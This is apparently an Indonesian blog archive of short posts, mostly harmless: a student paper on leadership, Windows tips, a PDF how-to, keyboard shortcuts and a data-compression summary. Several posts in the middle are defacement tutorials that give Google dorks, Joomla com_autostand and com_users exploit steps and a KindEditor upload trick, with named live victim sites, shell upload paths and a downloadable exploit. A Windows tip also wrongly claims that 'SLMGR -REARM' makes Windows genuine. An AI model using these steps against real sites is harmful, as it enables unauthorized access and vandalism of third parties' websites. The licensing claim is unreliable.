In:

Tugas Softskill 2 - Leadership (Kepemimpinan)

Nama Kelompok:
Annisaa Rahmayani N
Dewi Pertiwi
Erwin Parasian H
Ricko Donny S N

Dedi Santiago
Arya Widya
KEPEMIMPINAN
Kepemimpinan adalah suatu proses dimana seseorang berupaya mempengaruhi sejumlah orang dan mengarahkan organisasinya untuk mencapai suatu tujuan, sehingga hubungan antara manusia didalam organisasi tersebut lebih kohesif dan koheren. Atau suatu proses dimana seseorang berupaya mempengaruhi sekelompok orang untuk mencapai tujuan bersama. Dalam rangka menjalankan proses kepemimpinannya ini, mereka menggunakan sejumlah “pengetahuan” dan “keterampilan” yang dimilikinya, terlepas dari apakah pengetahuan dan keterampilan tersebut ditunjang oleh bakat bawaan dirinya atau hasil dari proses pembelajaran (formal dan/atau non-formal). Pengetahuan merupakan kombinasi dari pengalaman, informasi kontekstual, nilai dan wawasan para pakar yang dijadikan acuan, sebagai kerangka untuk mengevaluasi dan menggambungkan informasi dan pengalaman baru. Menurut John Locke, kita memiliki kerangka ide dalam diri kita (gagasan pertama) yang kita gunakan untuk mengevaluasi informasi dan pengalaman baru (gagasan kedua). Menurut Peter F. Drucker, pengetahuan adalah informasi bagi seseorang sebagai landasan untuk melakukan suatu tindakan dalam situasi perubahan, sehingga individu atau organisasi mampu bertindak dengan cara yang berbeda dan lebih efektif. Melalui pengetahuan dan informasi, seseorang diharapkan menghasilkan tindakan yang tepat dan mengartikulasikan tindakan yang paling mungkin. Yaitu dengan menseleksi dan menilai berbagai alternatif tindakan serta bagaimana tindakan tersebut harus diimplementasikan agar sesuai dengan hasil atau kinerja yang diinginkan.
Berdasarkan definisi Kepemimpinan di atas ada 3 variabel utama yang tercakup di dalam kepemimpinan yaitu :
1.     Kepemimpinan yang melibatkan orang lain. Seorang Wirausaha akan berhasil apabila dia berhasil memimpin karyawannya atau mau bekerjasama untuk memajukan perusahaannya.
2.     Kepemimpinan menyangkut distribusi kekuasaan. Para Wirausaha mempunyai otoritas untuk memberikan sebagian kekuasaan kepada bawahannya dan diangkat menjadi pemimpin pada bagian tertentu.
3.     Kepemimpinan menyangkut penanaman pengaruh dalam rangka mengarahkan para bawahan. Seorang wirausaha tidak hanya mengatakan apa yang harus dikerjakan oleh karyawan tetapi harus mampu mempengaruhi karyawannya untuk berperilaku dan bertindak untuk memajukan perusahaan.
Mengacu pada definisi kepemimpinan di atas, maka seorang pemimpin diharapkan mempunyai ketrampilan yaitu :
1.     Ketrampilan Teknis; mengacu pada pengetahuan dan ketrampilan.
2.     Ketrampilan Manusiawi ; kemampuan bekerja secara efektif dengan orang-orang dan membina kerja tim.
3.     Ketrampilan Konseptual ; kemampuan untuk berfikir dalam kaitannya dengan model, kerangka, hubungan yang luas.
10 karakteristik pemimpin
  1. Penyingkapan diri
Dapat berbagi perasaan merupakan pertanda kekuatan. Sebagian pemimpin percaya bahwa ungkapan perasaan merupakan tindakan negatif dan akan membatasi keefektifan.
Adalah benar bahwa membuat pengakuan pribadi atau memberikan informasi yang dapat merugikan reputasi Anda atau orang lain adalah tidak bijaksana. Ada orang yang selalu mencari kesempatan mendiskreditkan kesuksesan orang lain.
Pengungkapan diri berarti mengetahui bagaimana mempresentasikan pandangan Anda yang positif dan cerah. Orang yang dapat melakukan ini sering membuat lingkungan di mana orang lain merasa aman mengungkapkan perasaan diri sendiri. Inilah awal persahabatan yang produktif dan menciptakan sistem pendukung, sinergi tim, kemitraan, produktifitas, dan pemecahan masalah. Sayangnya, banyak organisasi gagal membangun lingkungan bersuasana bisnis yang harmonis, karena orang merasa tidak aman untuk berbagi apa yang mereka pikirkan.
2.      Wawasan (knowledge)
Mampu mengenali pola dalam emosi dan reaksi berarti dapat mengenali kecenderungan tertentu, baik positif atau negatif. Apa yang Anda lakukan dengan pengetahuan ini akan menentukan tingkatan komitmen terhadap perubahan. Seringkali, Anda tidak menyadari cara menaklukkan diri saat menghadapi orang, khususnya ketika menghadapi situasi yang penuh emosi. Semakin terampil mengenali pola respon yang sejenis, semakin bagus Anda dapat mengoreksi atau menyempurnakan. Komplemen wawasan pribadi adalah kapasitas mengenali pola orang lain. Ini dapat memicu perbandingan yang mempermudah menangani kebutuhan emosi orang dan mengetahui bagaimana memecahkan permasalahan.
3.      Tanggung Jawab Pribadi
Memberikan wejangan yang memotivasi merupakan cara menaikkan potensi karyawan dan mengejawantahkan misi organisasi. Bahkan jika tidak ada tindak lanjut pun, cara ini sebetulnya tidak akan mengurangi kekuasaan. Namun, pemimpin akan kehilangan kharisma jika tidak menepati janji. Karyawan dan pelanggan tidak lagi mudah dibodohi dengan retorika dan kharisma. Mereka menginginkan tindakan.
Merealisasikan berarti memiliki tanggung jawab pribadi untuk menggapai hasil. Banyak pemimpin sekarang mengharapkan perubahan dan menuntut hasil, tetapi tidak berpartisipasi dalam berusaha dan tidak diperhitungkan dalam menentukan kesuksesan perusahaan. Bos semacam ini perlu umpan balik dan duduk bersama dalam membuat keputusan. Pemimpin sekarang perlu terlibat aktif dan bertanggung jawab terhadap proses pengembangan dan implementasi.
Pemimpin yang selalu terlibat aktif dan tertarik ikut andil dalam proses perubahan dan ingin mengetahui bagaimana dampaknya terhadap karyawan biasanya selalu mendambakan hasil yang positif.
4.      Agen Perubahan (agent of change)
Menjadi agen perubahan berarti memacu berbagi gagasan, perasaan, dan informasi yang meningkatkan produktifitas. Dengan demikian membuahkan pemahaman dua arah yang jujur. Dengan perspektif ini, tidak ada konsekuensi negatif untuk berbicara dengan jujur.
Membangun kepercayaan merupakan unsur penting dalam berinteraksi. Berbagi perasaan tanpa marah atau menyalahkan orang lain merupakan langkah penting ke arah rekonsiliasi. Dalam berbagai diskusi, debat atau negosiasi, harus ada sinergi emosi untuk menstabilkan suasana hati dan nada pembicaraan. Jika seseorang marah dan berbicara terus tanpa berhenti, peluang menyelesaikan pertentangan atau konflik sangat tipis.
Pemimpin otokratis tidak mengijinkan orang lain mengungkapkan pernyataan dengan jujur. Ketika menghadapi orang jenis pemimpin ini, karyawan akan menyembunyikan informasi, mengatakan apa yang menyenangkan dan selalu takut terhadap hasil akhir.
Ketidakjujuran semacam ini akan memicu dua masalah yang destruktif. Yakni:
  • Ketika karyawan merasa tidak diberdayakan, mereka tidak efektif dalam memberikan pandangan. Karyawan cenderung takut dan tidak tergoda dengan aktifitas baru atau yang inovatif.
  • Ketika karyawan dirundung stres dan kecemasan, biasanya tidak sehat dan tidak produktif.
5.      Pengembang
Pengembang adalah pembuat konsensus dan pemerjelas pemahaman. Mereka tahu kapan mendengarkan, empati, berbicara, dan memberikan pengarahan. Mereka punya
kombinasi yang seimbang antara asertif dan ketenangan. Pengembang percaya bahwa setiap orang punya hak mengungkapkan pendapat dan perbedaan merupakan kualitas positif suatu organisasi.
6.      Pemegang Saham
Pemimpin dengan sikap pemegang saham memberikan karyawan peluang berbagi rasa dalam kesuksesan dan tantangan organisasi. Karyawan diberikan saham beban untuk merealisasikan misi perusahaan dan bertanggung jawab terhadap apa yang mereka lakukan. Pemimpin dengan mental seperti ini tahu bagaimana mendelegasikan dan memberikan peluang kepada karyawan untuk menyumbangkan kreatifitas kepada suatu posisi. Dalam lingkungan semacam ini, orang merasa memiliki perusahaan dan akan bekerja sebaik-baiknya.
7.      Ketrampilan Mengatasi Stres
Ada banyak manfaat dalam kepemimpinan, namun juga banyak tekanan dan stres. Mengatasi kekompleksan masalah, isu, dan tuntutan pemimpin abad 21 memerlukan orang yang tahu bagaimana mengendalikan emosi.
Ada empat strategi yang dapat membantu mengendalikan emosi:
  • Meluangkan waktu untuk memeriksa realita perilaku dan sikap. Tanyakan kepada diri sendiri:
“Bagaimana saya memperlakukan karyawan?”
“Bagaimana perasaan saya sekarang, pekerjaan, dan tantangan dalam hidup saya?”
“Apakah saya sering marah?”
“Apakah saya mau mendengarkan?”
“Apakah saya capai?”
“Kapan terakhir kali mengerjakan sesuatu yang benar-benar saya sukai dan yang
membuat rileks?”
“Apakah saya menelantarkan keluarga?”
Jika tahu bahwa Anda memberikan tanggapan yang kurang memadai kepada pertanyaan di atas, tibalah saatnya untuk berhenti dan melakukan hal baru. Anda perlu memfokuskan diri dengan sungguh-sungguh dan seksama untuk mengubah perilaku diri sendiri dan cara mendayagunakan waktu. Seringkali, pemimpin bilang tidak punya waktu. Pada kenyataannya, yang menjadi masalah bukan waktu, tetapi prioritas. Jika klien potensial yang bisa mendatangkan keuntungan 4 triliun dollar memanggil Anda pada saat-saat menjelang akhir hari kerja yang sibuk, itulah waktu untuk bertemu dengan klien.
  • Perhatikan kesehatan, keluarga, dan waktu rileks sebagai aset lima triliun dollar yang harus diperhitungkan setiap hari. Ketrampilan yang perlu dimiliki dalam hal ini antara lain:
-      dapat mengenali kapan Anda capai dan terlalu banyak beban kerja.
-      dapat mengenali emosi dan menyesuaikan perilaku.
-      dapat menyisihkan waktu dari tekanan kerja dan dapat rileks.
-      dapat percaya kepada teman yang diajak berbicara dan diskusi. Hal ini sulit dilakukan laki-laki, namun sangat penting untuk kondisi tertentu.
-      dapat menerima umpan balik dari kolega yang loyal yang bertindak sebagai barometer dalam menghadapi tekanan kerja. Sebagian karyawan sangat pintar menyesuaikan suasana hati pemimpin. Pengetahuan karyawan semacam ini sangat membantu bos dalam memberikan ruang gerak restrukturisasi kelompok.
  • Mengurangi tekanan yang dibebankan kepada diri sendiri. Seringkali jabatan pemimpin menjadi musuh terburuk bagi diri sendiri. Dorongan meraih jabatan yang ia pegang sama dengan dorongan mempelantingkan dirinya ke spiral pribadi yang melengkung ke bawah. Tujuan utama pemimpin seharusnya menjaga keseimbangan antara waktu pribadi dan profesional.
Ingin tetap di puncak atau tetap memegang tampuk pimpinan dapat menjadi masalah jika Anda tidak berhati-hati dengan konsekuensi terhadap emosi dalam diri manusia. Banyak pemimpin sekarang meninggalkan posisi papan atas di perusahaan multinasional karena alasan pribadi. Adalah lebih baik mempersiapkan diri menghadapi masalah daripada melakukannya nanti setelah masalah merebak. Sukses akan berdampak fatal kepada pemimpin, jika perhatian yang memadai tidak dicurahkan untuk menjaga keseimbangan.
  • Belajar mengenali kapan cangkir Anda penuh dan bertindak seperlunya. Pemahaman diri dapat membantu mengidentifikasi perasaan. Mendengarkan suara hati dapat memberitahu Anda kapan menghadapi bahaya atau kondisi kritis. Ketika Anda merasa bahwa orang dan masalah membuat frustasi, marah dan mengganggu ekuilibrium, lebih baik mundurlah selangkah untuk menghela napas, daripada harus berkonfrontasi dengan orang pertama yang Anda hadapi. Menyadari perasaan diri sendiri ketika stress merupakan salah satu cara menghindari perilaku yang tidak perlu, yang dapat melukai hati orang lain.
8.      Ekspresi
Pernyataan “Bukan apa yang Anda katakan, tetapi bagaimana Anda mengatakan bahwa sesuatu selalu diperhitungkan” memang benar adanya. Apa yang Anda katakan bisa membuat perbedaan hubungan antar pribadi. Misalnya, jika Anda memberitahu karyawan bahwa ia dipecat, apa pun nada Anda dalam mengucapkan kalimat ini, maknanya masih sama. Bentuk ungkapan, derajat empati, dan pertimbangan terhadap seseorang dapat membuat respon orang lain berbeda. Contoh pernyataan EQ: “Adalah sulit bagi saya untuk mengatakan Anda demikian —meskipun kita menghargai darma bakti Anda di masa lalu. Sayangnya, berhubung proyek ini kurang dana, kami tidak dapat mempertahankan gaji Anda. Kami terpaksa harus mencari kemungkinan lain. Namun usaha kami sia-sia sehingga terpaksa meniadakan posisi Anda. Saya akan senang hati membantu Anda mencari pekerjaan lain dan akan mengupayakan memberikan surat rekomendasi.”
Bagaimana Anda mengekspresikan diri bagaikan es di atas kue dan dapat menjadi
faktor penentu apakah sukses atau gagal dalam menghadapi situasi sulit. Ungkapan
terima kasih yang singkat dan tulus atas darma bakti karyawan dalam bentuk tawaran memberikan rekomendasi memungkinkan karyawan tahu bahwa keputusan tidak dapat dihindari dan Anda sangat menaruh perhatian terhadapnya. Bahkan memperingatkan kepada karyawan atas perbuatannya yang tidak pantas masih dapat dilakukan tanpa merusak karakter orang yang masih dalam proses. Ketegasan dan pengarahan dapat diterapkan ketika mempertimbangkan perasaan karyawan. Cara yang positif untuk mengungkapkan perasaan adalah dengan berikut ini:
-      menghargai seseorang
-      empati terhadap situasi
-      memfokuskan pada masalah, bukan pada pribadi
-      jelas dan jujur
-      mengalokasikan waktu untuk menerima umpan balik dari seseorang Puisi dan drama selalu dimulai dengan kata-kata yang ditulis di suatu halaman. Apa yang membuatnya tampak hidup adalah emosi yang dimainkan dan penyesuaian perasaan antar orang. Demikian juga dalam kehidupan. Cara kita mengungkapkan diri sendiri membayangi pesan yang disampaikan. Bagi pemimpin, bentuk ekspresi yang digunakan untuk menghadapi orang sangat penting, khususnya terhadap citra dan jenis organisasi yang ingin dibangun. Pilihan kata sepenting ekspresi. Perpaduan yang selaras antara kedua pihak merupakan keharusan dalam membuat pemimpin EQ.
9.      Menjinakkan Anomi Perusahaan
Anomi dalam organisasi diukur dengan indikator licik yang menunjukkan bahwa ada cacat tujuan, identitas, nilai, dan kondisi yang menyebabkan kekurangan atau kegagalan dalam menjalankan tugas. Anomi mungkin terkesan seperti zona perang. Tetapi anomi semakin menjadi-jadi di berbagai jenjang organisasi dewasa ini. Visi atau nilai inti yang tidak dijunjung bersama punya makna yang tak berarti bagi orang yang bukan memberikan otoritas kepadanya.
Kode etik yang universal tidak akan berlaku jika selalu tidak dijadikan rujukan. Akar dari semua permasalahan adalah jenjang kepemimpinan di mana masalah seringkali muncul.
Menjinakkan anomi perusahaan berarti:
-      memimpin dengan konsisten, jujur, dan penuh integritas.
-      berbagi visi jenis lingkungan yang harus ada untuk semua karyawan dan yang akan dipakai untuk merealisasikan misi perusahaan.
-      mencontoh jenis perilaku yang dapat diterima dan menunjukkan bagaimana menghindari perilaku perusahaan yang menyimpang.
-      membangun tim yang sinergis di mana harmonisasi emosi dan sudut pandang digalakkan dan konsensus dapat dibuat.
-      menciptakan nilai inti yang sesuai dengan aspirasi individu.
-      menciptakan sistem pemeriksa dan penyeimbang pengatur emosi sehingga marah, intimidasi, balas dendam, dan tidak hormat, tidak akan tumbuh subur.
10. Harmoni
Karakteristik kepemimpinan EQ adalah mau menciptakan harmoni di tempat kerja. Artinya, di setiap jenjang terdapat:
-      hubungan dan persetujuan bagaimana setiap orang diperlakukan.
-      peluang untuk interaksi profesional dan pribadi.
-      proses tim untuk menyalurkan aspirasi pribadi dan tujuan profesional.
-      prosedur resolusi yang mengkaitkan pekerjaan untuk membuat konsensus.
-      berbagi tanggung jawab misi dan nilai dalam organisasi.
Pengertian menciptakan harmoni adalah salah satu usaha paling penting dalam organisasi, namun sering diabaikan. Menciptakan harmoni merupakan tugas yang paling sulit dicapai karena ada perbedaan agenda, kepribadian, kebutuhan, dan tantangan. Meski perlu usaha dan konsentrasi untuk menciptakan atmosfir yang harmonis, usaha menciptakan keharmonisan merupakan tujuan paling mulia. Ketika ada harmonisasi, lingkungan kerja bagaikan lingkungan yang mengagumkan. Di mana semua usaha dinamis menyatu untuk menggapai kebaikan bersama. Tidak ada satu bintang, tetapi banyak bintang individu yang menambahkan bakat ke pengembangan mega bintang (superstar) yang mengejawantahkan kesuksesan organisasi.
Sumber:
http://sbm.binus.ac.id/2013/05/21/10-karakter-kepemimpinan-masa-depan/
http://rusdin-wisatamenarik.blogspot.com/2011/10/kepemimpinan-wirausaha.html
http://pinkanrahmatuzzahra.wordpress.com/artikel/karakteristik-kepemimpinan/
Share:
In:

Mengapa Memakai Program Antivirus lebih dari satu adalah ide yang Buruk ?

Antivirus atau sebuah program yang berfungsi mencari , merupakan sebuah sofware mendeteksi dan menghapus virus , Software ini merupakan satu hal penting dalam komputer.
memang benar jika kita memakai antivirus tapi di sarankan agar tidak memakai AV lebih dari satu ? mengapa ?

Ini Alasan Jika Kita memakai antivirus lebih dari satu ..

  1. Mereka akan mencoba membunuhh satu sama lain ? maksudnya adalah antivirus merupakan program yang memantau dan mengirim informasi tentang sistem Anda, jika program antivirus lebih dari satu mereka akan salaing berebut informasi dan saling memblokir satu sama lain...
  2. Mereka akan memperebutkan virus .Ketika program antivirus bertemu virus, antivirus akan menghapusnyadan mengkarantina virus tsb . Tetapi jika Program antivirus bersaing dan melihat file itu yang dikarantina antivirus itu ingin menghapus dan karantina itu sesuai dengan tujuannya sendiri , maka akan muncul peringatan dari antivirus yang saling bersaing. jadi jangan heran kalau ada peringatan yang sebenaranya tidak berbahaya..
  3. Mereka akan menguras kekuatan Komputer ..
    antivirus adalah program yang banyak memakan memori contohnya menyescan dan yang lainnya ..    Jika Anda memiliki dua operasi ini secara bersamaan , keefektifan sistem anda dapat akan sangat berkurang atau benar-benar dihapuskan sama sekali , dan tanpa manfaat apapun , karena keduanya melakukan operasi berlebihan .
Share:
In:

Cara Membuat File PDF pada Microsoft Word 2007.

Ayoo yang lagi nyari Informasi Ini , kali ini Saya Mau jelasin cara buat file PDF .
buatnya di microsoft Word ..
Pengenalan Dikit dulu tentang file PDF.
PDF adalah sebuah format dokumen yang memungkinkan memuat di dalamnya text, gambar, grafik. PDF merupakan singkatan dari Portable Document Format, PDF pertama kali dibuat oleh perusahaan Adobe System pada tahun 1993 sekaligus pemilik hak paten PDF tersebut. PDF pertama kali dibuat dimaksudkan untuk mempermudah pertukaran dokumen, keunggulan dari dokumen yang dibuat dengan format PDF adalah dia tidak bisa diubah secara langsung oleh si penerima dokumen tidak seperti file dokumen dengan format .doc, .txt atau yang lainnya. Namun belakangan file dokumen yang dibuat dengan format PDF bisa diubah isinya dengan menggunakan bantuan software PDF editor yang sudah banyak beredar.

Tutorial Kali Ini Menggunakan Aplikasi Microsoft Word 2007.
Langsing aja "ehh maksudnya Langsung aja yukk<== Cucok :p

Pertama Kalian Cek dulu apakah Microsoft kalian bisa buat file denga  format .pdf atau tidak ?
ceknya dengan menyimpan file Ms.Word dengan format pdf ..



Jika saat kalian mau mencoba mengsave file kalian malah dialihkan ke HELP berati kalian harus mempunyai program yang saya akan kasih ..
Program/aplikasi ini akan bisa membantu menyimpan file dari Ms.Word Ke Portable Document Format(PDF)
Program ini 100% berasal dari Situs Microsoft asli ..
download Program/aplikasi ini di Link Ini

Dan Hasilnya Akan Seperti Ini..



Setelah Bisa Tinggal Kalian Publish deh , jadi kan file dengan format PDFnya =)
kalian juga bisa tuh jadiin file pdfnya biar lebih enteng ga makan bandwith banyaakk :D

Kalo Mau Copas Jangan Lupa Bawa Sumber ya..
Share:
In:

TOOL DDOS ..

Share:
In:

Deface Dengan Teknik Com_autustand di Joomla!

---English Tutorial----

Greetings All Defacer
Today wed like to share you how to input images into website.

########################################
Exploit Title:  joomla com_autostand file upload
########################################


Vendor or Software Link: forum.joomla.org


Google dork: "inurl:com_autostand"


  • Pick one of available target
  • localhost/path/index.php?option=com_autostand&func=newItem

If you found a shell can be upload with .php then you can directly upload them to the target.
like this :
localhost/path/images/autostand/images/yourshell.php

But in this case we found this site for an example :
http://www.ww.bakaara.com/

Then we can add the exploit : //index.php?option=com_autostand&func=newItem

and add after the main url it will be like this : http://www.ww.bakaara.com//index.php?option=com_autostand&func=newItem

Then you might upload the file you want to the target site.

Demo :
http://www.ww.bakaara.com/index.php?option=com_autostand&func=print&id=164&pop=1&tmpl=component

Live Target.
http://www.ww.bakaara.com/index.php?option=com_autostand&func=newItem

Dont Just Make Google Search engine !!


That's it. Good luck
Share:
In:

Deface Dengan Teknik Exploit Joomla | Com_User |

1. Download Exploit : jempolseru.hol.es/exploit.rar

2. Dork : intext:Joomla! is a flexible and powerful
platform, whether you are building a small site for yourself or a huge
site with hundreds of thousands of visitors site:com

dan juga mungkin dorknya bisa pake punya pak @console

Home Page Beez joomla 1.6
Home Page Beez2 joomla 1.6
Home Page Beez5 joomla 1.6
com_sefservicemap joomla 1.5
com_phocaguestbook joomla 1.5
com_phocagallery joomla 1.5
com_fireboard joomla 1.5
inurl:gov index.php/using-joomla/extensions/components/users-component/registration-form

Dorknya Kalian Edit atau Cari Dork Yang Lain..

3. contoh : http://cristorni.com.br/index.php?option=com_users&view=registration

4. ganti "index.php?option=com_users&view=registration" dengan exploit :                   "index.php?option=com_users&view=registration"

5. setelah masuk jangan langsung daftar :3 pencet CTRL + u atau klik kanan > view page source

6. cari tulisan "Hidden" nih ss-nya : http://prntscr.com/1nboe1
    pokonya code token semerawut

7. buka file tadi yg di download di notepad ganti email :    ganti email hpku100@yahoo.com jadi emailmu GANTI WEBSITE TARGET
   ="http://cristorni.com.br/index.php?option=com_users&view=registration"
    dengan yg kamu dapet

8. ganti user juga dengan yg kamu mau password biarin cari tulisan "hidden"
   ganti tulisan semerawut dengan yg dapatkan di site = CTRL + U
   jgn lupa di save

* kalo bingung apa aja yg diedit ini ssnya
   http://prntscr.com/1nbs3i
   http://prntscr.com/1nbsuk

9. buka exploit yg sudah kamu edit di mozilla atau semacamnya

10. register kalo ada tulisan merah tingal isi form password dengan yg kamu mau

11. buka email terus cari code registrasi .

12. BUKA HALAMAN admin contoh = http://cristorni.com.br/administrator

13. isi dengan user dan password yg kamu daftarkan

14. login dan selesai

tidak semua web bisa menggunakan teknik diatas,, kadang kita diarahkan ke register sebagai user login saja,,,tetep semangat cari web yg vuln

*Ada 4 kemungkinan GAGAL untuk web yang vuln:
1. Web telah menghapus laman Registration Form.
2. Alamat Activation Link tidak masuk kedalam email.
3. User sudah diaktifkan tetapi kita tidak bisa masuk kedalam administrator panel tersebut.
4. Template tidak bisa di di ubah.
5.Jangan Hanya menggunakan google search kalian juga bisa gunakan search engine yang lain (bing,Yahoo dll)

Baca Juga .
Cara Mengetahui Web Yang Vuln Com_user Atau Tidak!!
Share:
In:

Cara Mengetahui Web Yang Vuln Com_user Atau Tidak!!

Pada kali ini saya akan memberikan sebuah cara membedakan site vuln com_user  dan tidak vuln com_user

SITE VULN COM_USER = http://prntscr.com/1ytheu
Jika vuln tulisan ini berada agak keatas ...

SITE TIDAK VULN COM_USER = http://prntscr.com/1ytj9sJika tidak vuln tulisan ini berada agak kebawah ....

Dorknya :  [+] Joomla!® is free software released under the GNU General Public License.
Share:
In:

Jadi Defacer Cuma 3 Menit ? Tutorialnya Nih =)

Ingin Jadi Defacer dalam 3 Menit ?

Buka www.google.com

copy dork ini ==> inurl:examples/uploadbutton.html

Lalu search ..

akan muncul banyak web, pilih aja salah satu

contoh =>

http://www.fkcasings.com/kindeditor/examples/uploadbutton.html

di sana ada kolom buat file upload, Klik Tombol upload , kemudian upload script html yang sudah disiapkan.

Setelah itu copy semua tulisan yang ada di box upload .
contoh :
/kindeditor/attached/file/20131105/20131105175109_47435.html

kemudian copy link tersebut dan pastekan dibelakang url.com

contoh =>
http://www.fkcasings.com/

menjadi

http://www.fkcasings.com/kindeditor/attached/file/20131105/20131105175109_47435.html

udah deh cuman butuh waktu 3 menit dah berasa jadi defacer dah .

Share:
In:

Nonton Star Wars Lewat CMD.

Kali Ini Mau share Cara nonton Video Star Wars lewat CMD .
Asik loohh =)
Yuk Dimulai.



  • Pertama kalian Harus Aktifkan Telnet Client Di Laptop Atau Pc Kalian.
    Cara Mengaktifkannya Dengan Cara Membuka Control Panel Lalu Pilih Program.dan pilih program dan Feature.




  • Lalu Kalian Aktifkan Telnet Client..



  • Setelah Aktif Telnetnya Kalian Buka CMD dan Tulis Perintah .
    Perintah nya dibawah ini

    1)Telnet
    2)o
    3)Towel.blinkenlights.nl
  • Lalu Ok ..
  • tinggal Kalian Tunggu Film Star Treknya Akan Berjalan Otomatis
  • Jangan Lupa Koment Ya Kalau berhasil , Kalau tidak bisa Silahkan Bertanya =)




Share:
In:

How to remove virus from your system using command prompt, and without anti virus?

  • Go to start -> type cmd -> once your command prompt window is opened.
  • select the drive form which you want to remover virusfor example we take "D" drive
    D:\>  your "D" drive will be displayed like this on your command prompt window.... 
  • Now write thefollowing command...
    D:\>attrib -s -h *.* /s /d 
  • The above command will unhide each and every single file on your "D" drive including the virus
    exe's and autorun.inf file. once the above command is compiled again you'll see a message
    D:\>
  • This is indicates that the above command executed successfully... 
  • Now type "dir" command
    D:\>dir
     
  • And press enter, DIR is used to list all the files and directories on present on "D" drive....
  • After the successful execution of DIR command, all the files and folder will be listed on the prompt window...
  • Now check for suspicious files (i.e. exe's) and autorun.inf files, once you find the above files....
    just rename them and do change their extensions... look example
    D:\> rename autorun.inf abcde.pqr
     
  • this command will rename autorun.inf file to abcde with extension as "pqr" same action can be performed over the exe files.

  • This code can be used with external storage media like pendrive.
NOTE: As autorun.inf files are used in order to run the virus exe as soon as the directory is opened by the user... So whenever you find any autorun.inf file, just rename them, because they are more dangerous than the virus itself, exe file cannot execute itself, either you need to click on it or autorun.inf files are used to execute them.

P.S: If you find it useful please
Share:
In:

Solusi Tidak Bisa Copy Paste di Windows 7

Pasti Pernah Ada Yang Mengalami Kejadian Ini tidak bisa copas padahal di komputer sendiri .
kali ini saya mau bagi solusi bagi yang mengalami hal ini di dalam komputer atau PC kalian masing masing.
Langsung aja ini caranya :

1) Start-> Run -> ketik Services.msc
2) Cari tulisan “Desktop Window Manager Session Manager” .
3) Pilih Restart the Service

Ini komputer kamu bukan? Mungkin copy paste-nya di-disable sehingga orang lain tidak dapat mengcopy data-data berharga di komputer tersebut.

Cara agar bisa mengaktifkan copy-paste kembali yaitu:

1. Ke Menu Regedit (Tekan Tombol Windows+R lalu ketik regedit).

2. Masuk ke directory HKEY_LOCALMACHINESYSTEMCurrentControlSet…

3. Klik kanan pada folder Control lalu pilih New -–> Key

4. Beri nama folder baru tersebut dengan nama “StorageDevicePolicies”

5. Klik kanan di folder dengan nama “StorageDevicePolicies”, lalu pilih New –> Dword

6. Berikan nama “WriteProtect”

7. Klik dua kali Dword dengan nama “WriteProtect” tersebut, kemudian ganti Value Data menjadi 0

8. Setelah selesai langkah di atas selanjutnya Restart Komputer anda

Untuk mengembalikan settingan agar tidak bisa di-copypaste silahkan tinggal mengganti Value Data dari key “WriteProtect” menjadi 1

Mudah Bukan ^_^
Good Luck Ya Kawan !!
Share:
In:

Windows 7 Genuine By Command Prompt (CMD)

How To Make Windows 7 Genuine :


There's is a trick through which we can make Windows 7 Genuine by Command Prompt
So Let's see how to do this:
1. Firstly Open Command Prompt
Press Windows + R then Run Box Will Appear type cmd in it and click on ok .

2. Then Command Prompt Will Appear
In CMD Type :
SLMGR - REARM
and Hit Enter

3. Wait for sometime (approx 5 - 10 seconds)
Now A Message Will Appear That Your Windows 7 is Genuine
Share:
In:

Microsoft Natural Keyboard (Secret of Keyboard)

Microsoft Natural Keyboard
Shortcuts

1. Windows Logo (Display or hide the Start menu)
2. Windows Logo+BREAK (Display the System Properties dialog box)
3. Windows Logo+D (Display the desktop)
4. Windows Logo+M (Minimize all of the windows)
5. Windows Logo+SHIFT+M (Restorethe minimized windows)
6. Windows Logo+E (Open My Computer)
7. Windows Logo+F (Search for a file or a folder)
8. CTRL+Windows Logo+F (Search for computers)
9. Windows Logo+F1 (Display Windows Help)
10. Windows Logo+ L (Lock the keyboard)
11. Windows Logo+R (Open theRun dialog box)
12. Windows Logo+U (Open Utility Manager)
13. Accessibility Keyboard Shortcuts
14. Right SHIFT for eight seconds (Switch FilterKeys either on or off)
15. Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
16. Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either onor off)
17. SHIFT five times (Switch theStickyKeys either on or off)
18. NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
19. Windows Logo +U (OpenUtility Manager)
20. Windows Explorer Keyboard Shortcuts
21. END (Display the bottom of the active window)
22. HOME (Display the top of the active window)
23. NUM LOCK+Asterisk sign (*)(Display all of the subfolders that are under the selected folder)
24. NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
25. NUM LOCK+Minus sign (-) (Collapse the selected folder)
26. LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
27. RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Share:
In:

Cara Memasang Widget SMS Gratis

Disamping Ini adalah contoh screen shot dari widget SMS gratis .
Cara Memasang Widget ini Cukup Mudah, sama seperti memasang widget yang lainnya cuma dibedakan kodenya saja :
Langsung Aja :

- Login Ke blogger
- Lalu masuk ke dalam dashboard blog lalu kalian pilh Tata Letak.
- Tambahkan Gadget
- Pilih HTML/Java Script
Masukan kode dibawah ini .
<iframe src="http://www.freesmsvoip.com/index.php?do=widget" width="220" height="305" frameborder="0" scrolling="auto"></iframe>
<noframes>Your browser does not support frame.</noframes>
<div><a href="http://www.freesmsvoip.com">Kirim SMS Gratis</a></div>

Setelah Itu Tinggal Kalian Beri Nama Atau Save Langsung dan Liat Hasilnya ^_^
Selamat Mencoba ..


Sumbernya dari sini
Share:
In:

Scrath (Program buat Animasi)




Scratch mungkin masih asing dalam bidang pemograman apalagi yang awam, program ini berfunci membuat animasi animasi sesuai kemauan seorang user.
Sebenarnya agak susah menjalankan program ini saya juga masih awam menjalankan program ini .
kalian yang mau belajar pemograman ini bisa langsung datang ke web resminya ( scratch.mit.edu )




Bagi yang berminat bermain dengan aplikasi ini bisa langsung d web resminya tinggal sign up atau dengan aplikasinya kalian bisa download aplikasinya di link di bawah ini .
ScratchInstaller1.4.exe

Untuk tutorial kalian belajar sendiri dulu.
saya juga masih belajar dengan aplikasi ini :)
Share:
In:

Kompresi Data dan Teks

Kompresi Data dan Teks

Kompresi data
·         Kompresi berarti memaptakan / mengecilkan ukuran
·         Kompresi data adalah proses mengkodekan informasi menggunakan bit atau information bearing unit yang lain yang lebih rendah dari pada representasi data yang tidak terkodekan dengan suatu system encoding tertentu.
·         Contoh kompresi sederhan misalnya kata “yang “ dikompres menjadi ata “yg”
·         Pengiriman data hasi l hasil kompresi dapat di lakukan jika pihak pengirim dan pihak penerima memiliki aturan yang sama dalam hal kompresi data .
